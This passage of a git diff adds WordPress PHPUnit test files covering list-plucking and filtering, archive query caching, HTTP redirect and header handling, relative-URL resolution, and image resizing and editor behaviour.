array( 'baz' => 'baz' ) , $list ); + } + + function test_wp_list_pluck() { + $list = wp_list_pluck( $this->object_list, 'name' ); + $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list ); + + $list = wp_list_pluck( $this->array_list, 'name' ); + $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list ); + } + + function test_filter_object_list_nested_array_and() { + $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND' ); + $this->assertEquals( 1, count( $list ) ); + $this->assertArrayHasKey( 'baz', $list ); + } + + function test_filter_object_list_nested_array_not() { + $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'red' ) ), 'NOT' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertArrayHasKey( 'bar', $list ); + $this->assertArrayHasKey( 'baz', $list ); + } + + function test_filter_object_list_nested_array_or() { + $list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertArrayHasKey( 'foo', $list ); + $this->assertArrayHasKey( 'baz', $list ); + } + + function test_filter_object_list_nested_array_or_singular() { + $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'OR' ); + $this->assertEquals( 1, count( $list ) ); + $this->assertArrayHasKey( 'baz', $list ); + } + + + function test_filter_object_list_nested_array_and_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND', 'name' ); + $this->assertEquals( 1, count( $list ) ); + $this->assertEquals( array( 'baz' => 'baz' ) , $list ); + } + + function test_filter_object_list_nested_array_not_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'green' ) ), 'NOT', 'name' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list ); + } + + function test_filter_object_list_nested_array_or_field() { + $list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR', 'name' ); + $this->assertEquals( 2, count( $list ) ); + $this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list ); + } +} diff --git a/tests/tests/general/archives.php b/tests/tests/general/archives.php new file mode 100644 index 0000000000..20a14d7583 --- /dev/null +++ b/tests/tests/general/archives.php @@ -0,0 +1,111 @@ +factory->post->create_many( 15, array( 'post_type' => 'post' ) ); + wp_cache_delete( 'last_changed', 'posts' ); + $this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) ); + + $num_queries = $wpdb->num_queries; + + // Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + + // Change args, resulting in a different query string. Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Change type. Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + + // Change type. Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + + // Change type. Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + + // Change type. Cache is not primed, expect 1 query. + $result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries + 1, $wpdb->num_queries ); + + $num_queries = $wpdb->num_queries; + + // Cache is primed, expect no queries. + $result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) ); + $this->assertInternalType( 'string', $result ); + $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) ); + $this->assertEquals( $num_queries, $wpdb->num_queries ); + } +} \ No newline at end of file diff --git a/tests/tests/http/base.php b/tests/tests/http/base.php new file mode 100644 index 0000000000..1cc4f3834b --- /dev/null +++ b/tests/tests/http/base.php @@ -0,0 +1,262 @@ +markTestSkipped('The WP_HTTP tests require a class-http.php file of r17550 or later.'); + return; + } + + $class = "WP_HTTP_" . $this->transport; + if ( !call_user_func( array($class, 'test') ) ) { + $this->markTestSkipped( sprintf('The transport %s is not supported on this system', $this->transport) ); + } + + // Disable all transports aside from this one. + foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) { + remove_filter( "use_{$t}_transport", '__return_false' ); // Just strip them all + if ( $t != $this->transport ) + add_filter( "use_{$t}_transport", '__return_false' ); // and add it back if need be.. + } + } + + function tearDown() { + foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) { + remove_filter( "use_{$t}_transport", '__return_false' ); + } + parent::tearDown(); + } + + function test_redirect_on_301() { + // 5 : 5 & 301 + $res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 5) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals(200, (int)$res['response']['code'] ); + } + + function test_redirect_on_302() { + // 5 : 5 & 302 + $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 5) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals(200, (int)$res['response']['code'] ); + } + + /** + * @ticket 16855 + */ + function test_redirect_on_301_no_redirect() { + // 5 > 0 & 301 + $res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 0) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals(301, (int)$res['response']['code'] ); + } + + /** + * @ticket 16855 + */ + function test_redirect_on_302_no_redirect() { + // 5 > 0 & 302 + $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals(302, (int)$res['response']['code'] ); + } + + function test_redirections_equal() { + // 5 - 5 + $res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals(200, (int)$res['response']['code'] ); + } + + function test_no_head_redirections() { + // No redirections on HEAD request: + $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 1, array('method' => 'HEAD') ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals( 302, (int)$res['response']['code'] ); + } + + /** + * @ticket 16855 + */ + function test_redirect_on_head() { + // Redirections on HEAD request when Requested + $res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5, 'method' => 'HEAD') ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals( 200, (int)$res['response']['code'] ); + } + + function test_redirections_greater() { + // 10 > 5 + $res = wp_remote_request($this->redirection_script . '?rt=' . 10, array('redirection' => 5) ); + $this->assertTrue( is_wp_error($res), print_r($res, true) ); + } + + function test_redirections_greater_edgecase() { + // 6 > 5 (close edgecase) + $res = wp_remote_request($this->redirection_script . '?rt=' . 6, array('redirection' => 5) ); + $this->assertTrue( is_wp_error($res) ); + } + + function test_redirections_less_edgecase() { + // 4 < 5 (close edgecase) + $res = wp_remote_request($this->redirection_script . '?rt=' . 4, array('redirection' => 5) ); + $this->assertFalse( is_wp_error($res) ); + } + + /** + * @ticket 16855 + */ + function test_redirections_zero_redirections_specified() { + // 0 redirections asked for, Should return the document? + $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) ); + $this->assertFalse( is_wp_error($res) ); + $this->assertEquals( 302, (int)$res['response']['code'] ); + } + + /** + * Do not redirect on non 3xx status codes + * + * @ticket 16889 + */ + function test_location_header_on_201() { + // Prints PASS on initial load, FAIL if the client follows the specified redirection + $res = wp_remote_request( $this->redirection_script . '?201-location=true' ); + $this->assertFalse( is_wp_error( $res ) ); + $this->assertEquals( 'PASS', $res['body']); + } + + /** + * Test handling of PUT requests on redirects + * + * @ticket 16889 + */ + function test_no_redirection_on_PUT() { + $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?201-location=1'; + + // Test 301 - POST to POST + $res = wp_remote_request( $url, array( 'method' => 'PUT', 'timeout' => 30 ) ); + $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) ); + $this->assertTrue( !empty( $res['headers']['location'] ) ); + } + + /** + * @ticket 11888 + */ + function test_send_headers() { + // Test that the headers sent are recieved by the server + $headers = array('test1' => 'test', 'test2' => 0, 'test3' => ''); + $res = wp_remote_request( $this->redirection_script . '?header-check', array('headers' => $headers) ); + + $this->assertFalse( is_wp_error($res) ); + + $headers = array(); + foreach ( explode("\n", $res['body']) as $key => $value ) { + if ( empty($value) ) + continue; + $parts = explode(':', $value,2); + unset($headers[$key]); + $headers[ $parts[0] ] = $parts[1]; + } + + $this->assertTrue( isset($headers['test1']) && 'test' == $headers['test1'] ); + $this->assertTrue( isset($headers['test2']) && '0' === $headers['test2'] ); + // cURL/HTTP Extension Note: Will never pass, cURL does not pass headers with an empty value. + // Should it be that empty headers with empty values are NOT sent? + //$this->assertTrue( isset($headers['test3']) && '' === $headers['test3'] ); + } + + function test_file_stream() { + $url = 'http://unit-tests.svn.wordpress.org/trunk/data/images/2004-07-22-DSC_0007.jpg'; // we'll test against a file in the unit test data + $size = 87348; + $res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30 ) ); //Auto generate the filename. + + $this->assertFalse( is_wp_error( $res ) ); + $this->assertEquals( '', $res['body'] ); // The body should be empty. + $this->assertEquals( $size, $res['headers']['content-length'] ); // Check the headers are returned (and the size is the same..) + $this->assertEquals( $size, filesize($res['filename']) ); // Check that the file is written to disk correctly without any extra characters + + unlink($res['filename']); // Remove the temporary file + } + + /** + * Test POST redirection methods + * + * @ticket 17588 + */ + function test_post_redirect_to_method_300() { + $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?post-redirect-to-method=1'; + + // Test 300 - POST to POST + $res = wp_remote_post( add_query_arg( 'response_code', 300, $url ), array( 'timeout' => 30 ) ); + $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) ); + + // Test 301 - POST to POST + $res = wp_remote_post( add_query_arg( 'response_code', 301, $url ), array( 'timeout' => 30 ) ); + $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) ); + + // Test 302 - POST to GET + $res = wp_remote_post( add_query_arg( 'response_code', 302, $url ), array( 'timeout' => 30 ) ); + $this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) ); + + // Test 303 - POST to GET + $res = wp_remote_post( add_query_arg( 'response_code', 303, $url ), array( 'timeout' => 30 ) ); + $this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) ); + + // Test 304 - POST to POST + $res = wp_remote_post( add_query_arg( 'response_code', 304, $url ), array( 'timeout' => 30 ) ); + $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) ); + } + + /** + * Test HTTP Requests using an IP url, with a HOST header specified + * + * @ticket 24182 + */ + function test_ip_url_with_host_header() { + $ip = gethostbyname( 'api.wordpress.org' ); + $url = 'http://' . $ip . '/core/tests/1.0/redirection.php?print-pass=1'; + $args = array( + 'headers' => array( + 'Host' => 'api.wordpress.org', + ), + 'timeout' => 30, + 'redirection' => 0, + ); + + $res = wp_remote_get( $url, $args ); + $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) ); + + } + + /** + * Test HTTP Redirects with multiple Location headers specified + * + * @ticket 16890 + */ + function test_multiple_location_headers() { + $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?multiple-location-headers=1'; + $res = wp_remote_head( $url, array( 'timeout' => 30 ) ); + + $this->assertInternalType( 'array', wp_remote_retrieve_header( $res, 'location' ) ); + $this->assertCount( 2, wp_remote_retrieve_header( $res, 'location' ) ); + + $res = wp_remote_get( $url, array( 'timeout' => 30 ) ); + $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) ); + + } + +} diff --git a/tests/tests/http/curl.php b/tests/tests/http/curl.php new file mode 100644 index 0000000000..b9481ed6cb --- /dev/null +++ b/tests/tests/http/curl.php @@ -0,0 +1,11 @@ +assertInternalType( 'array', $headers, "Reply wasn't array." ); + $this->assertEquals( 'image/jpeg', $headers['content-type'] ); + $this->assertEquals( '40148', $headers['content-length'] ); + $this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) ); + } + + function test_head_redirect() { + // this url will 301 redirect + $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg'; + $response = wp_remote_head( $url ); + $this->assertEquals( '301', wp_remote_retrieve_response_code( $response ) ); + } + + function test_head_404() { + $url = 'http://asdftestblog1.files.wordpress.com/2007/09/awefasdfawef.jpg'; + $headers = wp_remote_head( $url ); + + $this->assertInternalType( 'array', $headers, "Reply wasn't array." ); + $this->assertEquals( '404', wp_remote_retrieve_response_code( $headers ) ); + } + + function test_get_request() { + $url = 'http://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg'; + $file = tempnam('/tmp', 'testfile'); + + $headers = wp_get_http($url, $file); + + // should return the same headers as a head request + $this->assertInternalType( 'array', $headers, "Reply wasn't array." ); + $this->assertEquals( 'image/jpeg', $headers['content-type'] ); + $this->assertEquals( '40148', $headers['content-length'] ); + $this->assertEquals( '200', $headers['response'] ); + + // make sure the file is ok + $this->assertEquals( 40148, filesize($file) ); + $this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) ); + } + + function test_get_redirect() { + // this will redirect to asdftestblog1.files.wordpress.com + $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg'; + $file = tempnam('/tmp', 'testfile'); + + $headers = wp_get_http($url, $file); + + // should return the same headers as a head request + $this->assertInternalType( 'array', $headers, "Reply wasn't array." ); + $this->assertEquals( 'image/jpeg', $headers['content-type'] ); + $this->assertEquals( '40148', $headers['content-length'] ); + $this->assertEquals( '200', $headers['response'] ); + + // make sure the file is ok + $this->assertEquals( 40148, filesize($file) ); + $this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) ); + } + + function test_get_redirect_limit_exceeded() { + // this will redirect to asdftestblog1.files.wordpress.com + $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg'; + $file = tempnam('/tmp', 'testfile'); + // pretend we've already redirected 5 times + $headers = wp_get_http( $url, $file, 6 ); + $this->assertFalse( $headers ); + } +} diff --git a/tests/tests/http/http.php b/tests/tests/http/http.php new file mode 100644 index 0000000000..578d6e84a8 --- /dev/null +++ b/tests/tests/http/http.php @@ -0,0 +1,62 @@ +markTestSkipped( "This version of WP_HTTP doesn't support WP_HTTP::make_absolute_url()" ); + return; + } + + $actual = WP_HTTP::make_absolute_url( $relative_url, $absolute_url ); + $this->assertEquals( $expected, $actual ); + } + + function make_absolute_url_testcases() { + // 0: The Location header, 1: The current url, 3: The expected url + return array( + array( 'http://site.com/', 'http://example.com/', 'http://site.com/' ), // Absolute URL provided + array( '/location', '', '/location' ), // No current url provided + + array( '', 'http://example.com', 'http://example.com/' ), // No location provided + + // Location provided relative to site root + array( '/root-relative-link.ext', 'http://example.com/', 'http://example.com/root-relative-link.ext' ), + array( '/root-relative-link.ext?with=query', 'http://example.com/index.ext?query', 'http://example.com/root-relative-link.ext?with=query' ), + + // Location provided relative to current file/directory + array( 'relative-file.ext', 'http://example.com/', 'http://example.com/relative-file.ext' ), + array( 'relative-file.ext', 'http://example.com/filename', 'http://example.com/relative-file.ext' ), + array( 'relative-file.ext', 'http://example.com/directory/', 'http://example.com/directory/relative-file.ext' ), + + // Location provided relative to current file/directory but in a parent directory + array( '../file-in-parent.ext', 'http://example.com', 'http://example.com/file-in-parent.ext' ), + array( '../file-in-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-parent.ext' ), + array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ), + array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ), + + // Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT) + array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ), + array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ), + array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ), + array( '../../file-in-grand-parent.ext', 'http://example.com/directory/filename/', 'http://example.com/file-in-grand-parent.ext' ), + array( '../../file-in-grand-parent.ext', 'http://example.com/directory1/directory2/filename', 'http://example.com/file-in-grand-parent.ext' ), + + // Query strings should attach, or replace existing query string. + array( '?query=string', 'http://example.com', 'http://example.com/?query=string' ), + array( '?query=string', 'http://example.com/file.ext', 'http://example.com/file.ext?query=string' ), + array( '?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/file.ext?query=string' ), + array( 'otherfile.ext?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/otherfile.ext?query=string' ), + + // A file with a leading dot + array( '.ext', 'http://example.com/', 'http://example.com/.ext' ) + ); + } +} diff --git a/tests/tests/http/streams.php b/tests/tests/http/streams.php new file mode 100644 index 0000000000..2c6922f901 --- /dev/null +++ b/tests/tests/http/streams.php @@ -0,0 +1,11 @@ +editor_engine, 'test' ) ) ) { + $this->markTestSkipped( sprintf('The image editor engine %s is not supported on this system', $this->editor_engine) ); + } + + add_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 ); + } + + /** + * Undo the image editor override + */ + public function tearDown() { + remove_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 ); + } + + /** + * Override the image editor engine + * @return string + */ + public function setEngine( $editors ) { + return array( $this->editor_engine ); + } + + /** + * Helper assertion for testing alpha on images + * + * @param string $image_path + * @param array $point array(x,y) + * @param int $alpha + */ + protected function assertImageAlphaAtPoint( $image_path, $point, $alpha ) { + + $im = imagecreatefrompng( $image_path ); + $rgb = imagecolorat($im, $point[0], $point[1]); + + $colors = imagecolorsforindex($im, $rgb); + + $this->assertEquals( $alpha, $colors['alpha'] ); + } +} diff --git a/tests/tests/image/dimensions.php b/tests/tests/image/dimensions.php new file mode 100644 index 0000000000..3bb6fde19e --- /dev/null +++ b/tests/tests/image/dimensions.php @@ -0,0 +1,131 @@ +assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out ); + + // portrait: resize 480x640 to fit 400x400: 300x400 + $out = image_resize_dimensions(480, 640, 400, 400, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out ); + } + + function test_400x0_no_crop() { + // landscape: resize 640x480 to fit 400w: 400x300 + $out = image_resize_dimensions(640, 480, 400, 0, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out ); + + // portrait: resize 480x640 to fit 400w: 400x533 + $out = image_resize_dimensions(480, 640, 400, 0, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out ); + } + + function test_0x400_no_crop() { + // landscape: resize 640x480 to fit 400h: 533x400 + $out = image_resize_dimensions(640, 480, 0, 400, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out ); + + // portrait: resize 480x640 to fit 400h: 300x400 + $out = image_resize_dimensions(480, 640, 0, 400, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out ); + } + + function test_800x800_no_crop() { + // landscape: resize 640x480 to fit 800x800 + $out = image_resize_dimensions(640, 480, 800, 800, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + + // portrait: resize 480x640 to fit 800x800 + $out = image_resize_dimensions(480, 640, 800, 800, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + } + + function test_800x0_no_crop() { + // landscape: resize 640x480 to fit 800w + $out = image_resize_dimensions(640, 480, 800, 0, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + + // portrait: resize 480x640 to fit 800w + $out = image_resize_dimensions(480, 640, 800, 0, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + } + + function test_0x800_no_crop() { + // landscape: resize 640x480 to fit 800h + $out = image_resize_dimensions(640, 480, 0, 800, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + + // portrait: resize 480x640 to fit 800h + $out = image_resize_dimensions(480, 640, 0, 800, false); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( false, $out ); + } + + // cropped versions + + function test_400x400_crop() { + // landscape: crop 640x480 to fit 400x400: 400x400 taken from a 480x480 crop at (80. 0) + $out = image_resize_dimensions(640, 480, 400, 400, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 80, 0, 400, 400, 480, 480), $out ); + + // portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80) + $out = image_resize_dimensions(480, 640, 400, 400, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 80, 400, 400, 480, 480), $out ); + } + + function test_400x0_crop() { + // landscape: resize 640x480 to fit 400w: 400x300 + $out = image_resize_dimensions(640, 480, 400, 0, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out ); + + // portrait: resize 480x640 to fit 400w: 400x533 + $out = image_resize_dimensions(480, 640, 400, 0, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out ); + } + + function test_0x400_crop() { + // landscape: resize 640x480 to fit 400h: 533x400 + $out = image_resize_dimensions(640, 480, 0, 400, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out ); + + // portrait: resize 480x640 to fit 400h: 300x400 + $out = image_resize_dimensions(480, 640, 0, 400, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out ); + } + + function test_400x500_crop() { + // landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop at (80. 0) + $out = image_resize_dimensions(640, 480, 400, 500, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 120, 0, 400, 480, 400, 480), $out ); + + // portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80) + $out = image_resize_dimensions(480, 640, 400, 500, true); + // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h + $this->assertEquals( array(0, 0, 0, 20, 400, 500, 480, 600), $out ); + } + +} diff --git a/tests/tests/image/editor.php b/tests/tests/image/editor.php new file mode 100644 index 0000000000..b3ae47c2ff --- /dev/null +++ b/tests/tests/image/editor.php @@ -0,0 +1,149 @@ +assertInstanceOf( 'WP_Image_Editor_Mock', $editor ); + } + + /** + * Test wp_get_image_editor() where load returns false + * @ticket 6821 + */ + public function test_get_editor_load_returns_false() { + WP_Image_Editor_Mock::$load_return = new WP_Error(); + + $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + + $this->assertInstanceOf( 'WP_Error', $editor ); + + WP_Image_Editor_Mock::$load_return = true; + } + + /** + * Test test_quality + * @ticket 6821 + */ + public function test_set_quality() { + + // Get an editor + $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + + // Make quality readable + $property = new ReflectionProperty( $editor, 'quality' ); + $property->setAccessible( true ); + + // Ensure set_quality works + $this->assertTrue( $editor->set_quality( 75 ) ); + $this->assertEquals( 75, $property->getValue( $editor ) ); + + // Ensure the quality filter works + $func = create_function( '', "return 100;"); + add_filter( 'wp_editor_set_quality', $func ); + $this->assertTrue( $editor->set_quality( 75 ) ); + $this->assertEquals( 100, $property->getValue( $editor ) ); + + // Clean up + remove_filter( 'wp_editor_set_quality', $func ); + } + + /** + * Test generate_filename + * @ticket 6821 + */ + public function test_generate_filename() { + + // Get an editor + $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + + $property = new ReflectionProperty( $editor, 'size' ); + $property->setAccessible( true ); + $property->setValue( $editor, array( + 'height' => 50, + 'width' => 100 + )); + + // Test with no parameters + $this->assertEquals( 'canola-100x50.jpg', basename( $editor->generate_filename() ) ); + + // Test with a suffix only + $this->assertEquals( 'canola-new.jpg', basename( $editor->generate_filename( 'new' ) ) ); + + // Test with a destination dir only + $this->assertEquals(trailingslashit( realpath( get_temp_dir() ) ), trailingslashit( realpath( dirname( $editor->generate_filename( null, get_temp_dir() ) ) ) ) ); + + // Test with a suffix only + $this->assertEquals( 'canola-100x50.png', basename( $editor->generate_filename( null, null, 'png' ) ) ); + + // Combo! + $this->assertEquals( trailingslashit( realpath( get_temp_dir() ) ) . 'canola-new.png', $editor->generate_filename( 'new', realpath( get_temp_dir() ), 'png' ) ); + } + + /** + * Test get_size + * @ticket 6821 + */ + public function test_get_size() { + + $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + + // Size should be false by default + $this->assertNull( $editor->get_size() ); + + // Set a size + $size = array( + 'height' => 50, + 'width' => 100 + ); + $property = new ReflectionProperty( $editor, 'size' ); + $property->setAccessible( true ); + $property->setValue( $editor, $size ); + + $this->assertEquals( $size, $editor->get_size() ); + } + + /** + * Test get_suffix + * @ticket 6821 + */ + public function test_get_suffix() { + $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' ); + + // Size should be false by default + $this->assertFalse( $editor->get_suffix() ); + + // Set a size + $size = array( + 'height' => 50, + 'width' => 100 + ); + $property = new ReflectionProperty( $editor, 'size' ); + $property->setAccessible( true ); + $property->setValue( $editor, $size ); + + $this->assertEquals( '100x50', $editor->get_suffix() ); + } +} diff --git a/tests/tests/image/editor_gd.php b/tests/tests/image/editor_gd.php new file mode 100644 index 0000000000..f5fdd99651 --- /dev/null +++ b/tests/tests/image/editor_gd.php @@ -0,0 +1,158 @@ +assertTrue( $gd_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' ); + $this->assertTrue( $gd_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' ); + $this->assertTrue( $gd_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' ); + } + + /** + * Test resizing an image, not using crop + * + */ + public function test_resize() { + + $file = DIR_TESTDATA . '/images/gradient-square.jpg'; + + $gd_image_editor = new WP_Image_Editor_GD( $file ); + $gd_image_editor->load(); + + $gd_image_editor->resize( 100, 50 ); + + $this->assertEquals( array( 'width' => 50, 'height' => 50 ), $gd_image_editor->get_size() ); + } + + /** + * Test resizing an image including cropping + * + */ + public function test_resize_and_crop() { + + $file = 